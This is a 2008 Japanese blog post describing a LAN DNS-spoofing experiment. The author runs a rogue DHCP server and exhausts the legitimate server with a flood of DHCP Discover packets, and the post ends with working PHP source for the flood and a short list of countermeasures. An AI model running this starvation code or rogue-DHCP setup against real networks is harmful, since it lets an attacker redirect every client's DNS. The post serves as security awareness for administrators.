あれよりももっと簡単なDNSスプーフィング   no comments

Posted at 12:59 pm in internet,Security

BlackHat Japan 2008 Briefingの取材に行ってきました。
BlackHatの詳しいことは次号のハッカージャパンを見ていただくとして(宣伝w)

そこで行われたダン・カミンスキー氏の基調講演に影響を受けて、DNSスプーフィングについて考えてみたのですが、LAN環境ならそんな難しいことをしなくても(難しくないという意見は却下。3ステップ以上は難しいのです)スプーフィング可能じゃないのかということを思いつきました。

DHCPサーバーの送るDNSサーバーのアドレス情報を偽情報を持ったDNSサーバーのアドレスに書き換えて、偽情報を持ったDNSにアクセスさせればLANのクライアントは全部攻略されてしまうのではないでしょうか。

それが本当にできるかどうか試してみました。やることは簡単。
DHCPサーバーにアクセスしてDNSサーバーの項目を書き換えてやればいいのです。

とはいえDHCPサーバーの設定変更は管理者なら簡単にできるのですが、一般の人には難しいです。無理矢理書き換えるのも大変です。

ダメだこりゃ。

さて、どうしましょう。

●インチキDHCPサーバーを立ててみる

次に考えたのはLANにもう1台のインチキDHCPサーバーを設置することです。もちろん、インチキDHCPサーバーのDNSサーバーアドレスは怪しいアドレスになっていることはいうまでもありません。

さて、どうしてこんなに単純なことをするかというと、DHCPの仕組みとして、DHCPクライアントはインチキDHCPサーバーのオファーも平等に受け取ってくれます。

どちらのオファーを受けるかはクライアントが決めることですが、運が良ければ自分のDHCPサーバーを選んでくれるかもしれません。確率としては50%です。台数を増やせばそれだけ確率も上がる気がします。力業ですね。

と思ってワクワクしながら試してみたのですが、どうもWindowsXPもUbuntuも先にオファーがあった方を優先するようです。

ということで結果は1か0かのデジタルなことになるのだとと思います。

なのでこれで成功して、クライアントのDNSサーバーのアドレスがスプーフィングされた人もいるかもしれません。おめでとう。

●正規のDHCPサーバーに対抗する

さて、ちょっと非力なインチキDHCPサーバーのせいでスプーフィングに失敗している人もいると思います。もちろん私も失敗したので次のステップに進んでいるのですよ。プンプン。

次に考えられるのは、スピードが足りないなら、相手のスピードを落としてやればいいじゃない。ということです。

そう、DoSですね。

スイッチの向こうにDHCPサーバーがあるのならスイッチにARPでも死ぬほど送ってやればいいと思いますが、それは置いといて、ここではDHCPサーバーに軽くいたずらすることにします。

DHCPサーバーに対してDHCP Discover を出しまくることにしました。

プログラムの内容としてはDHCPサーバーに対してトランザクションIDとMacアドレスを変更したDHCP Discoverメッセージを投げるという単純な内容ですが、DHCPサーバーの挙動はどうなるでしょうか。そして、このプログラムを動かしている横でクライアントはDHCPサーバーからアドレスを取得してみることにしました。

●対抗できた

さて、結果はいかに。

家にあったDHCPサーバー2つに試してみましたところ、どちら挙動は違いました。

1つ目のDHCPサーバーはプールしてあるアドレスを全部Offerして止まりました。プールしているアドレスがなくなったので、クライアントは自動的にインチキDHCPサーバーを選んでくれました。

DHCPサーバーがプールしているアドレスをすべてOfferしている

DHCPサーバーがプールしているアドレスをすべてOfferしている

そして、もう1つは1つのアドレスをOfferしてしばらく待ち、Requestがなければ同じアドレスをOfferというのを繰り返します。どうやらシングルスレッドで動いてるっぽいですね。こちらもリクエストが溜まってる間は応答できないので、クライアントは自動的にインチキDHCPサーバーを選んでくれました。

1つずつ地道に処理していく

1つずつ地道に処理していく

このように我が家のDHCPサーバーは意外ともろく、簡単にクライアントのDNSサーバーアドレスを書き換えるのに成功しました。DHCPサーバーの挙動によると思いますが、たくさんの環境で可能になってしまうのではないでしょうか。

●対策

これに対する対策は、

・DHCP認証
・ActiveDirectoryなんかの集中管理
・Macアドレスフィルタリング

みたいなかんじでしょうか。

クライアントに設定されるDNSサーバーのアドレスは基本的にFQDNでなく数字の羅列なので、変更されても気づかないと思います。管理者の方々は安易に書き換えられないように注意していただければと思います。

●実験に使ったソースコード

手元に環境がこれしかなかったのでphpで書きました。
正規のDHCP Offerはブロードキャストするのですが、そうすると偽DHCPサーバーの方も影響を受けてしまいますのでユニキャストです。
あとなぜか”\x70″しかインクリメントできないので解決法を誰か教えてください。

<?php
class dhcpClientTest{
function dhcpclient($host) {
//ここが変わる
$change_addr=”\x70″;//なぜか70しかインクリメントできない
$pack1 =”\x01\x01\x06\x00\x2d\xa1\x48″;
$pack2=”\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x09\x83\x4d\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x63\x82\x53\x63\x35\x01\x01\x74\x01\x01\x3d\x07\x01\x00\x11\x09\x83\x4d”;
$pack3=”\x32\x04\xc0\xa8\x00\x07\x37\x0b\x01\x0f\x03\x06\x2c\x2e\x2f\x1f\x21\xf9\x2b\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″;

for($i=0;$i<16;$i++){
//UDPのソケット
$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
//接続
socket_connect($socket, $host, 67);
$packet=$pack1.$change_addr.$pack2.$change_addr.$pack3;
socket_send($socket,$packet, strlen($packet), 0);
$change_addr++;
socket_close($socket);
}
}
}

$d = new dhcpClientTest();
echo $d->dhcpclient (“192.168.0.1”);
?>

Written by bogus on 10月 11th, 2008

Tagged with